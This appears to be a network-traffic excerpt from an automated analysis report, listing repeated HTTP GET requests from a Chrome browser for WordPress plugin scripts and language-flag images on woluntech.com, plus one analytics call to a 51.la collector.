Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wpforms-lite/assets/js/integrations/elementor/frontend.min.js?ver=1.7.5.5 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.0.2 HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0 HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.7.3 HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/ui/core.min.js?ver=1.13.1 HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/es_CO.png HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /v6/collect?dt=4 HTTP/1.1Host: collect-v6.51.laConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/pt_BR.png HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/ar.png HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/ru_RU.png HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/vi.png HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/id_ID.png HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-util.min.js?ver=6.0.2 HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wpforms-lite/assets/js/integrations/elementor/frontend.min.js?ver=1.7.5.5 HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.6.8 HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=3.7.3 HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/underscore.min.js?ver=1.13.3 HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/th.png HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/es_CO.png HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/ary.png HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/bn_BD.png HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/tr_TR.png HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/ta_LK.png HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/uz_UZ.png HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/ru_RU.png HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/pt_BR.png HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
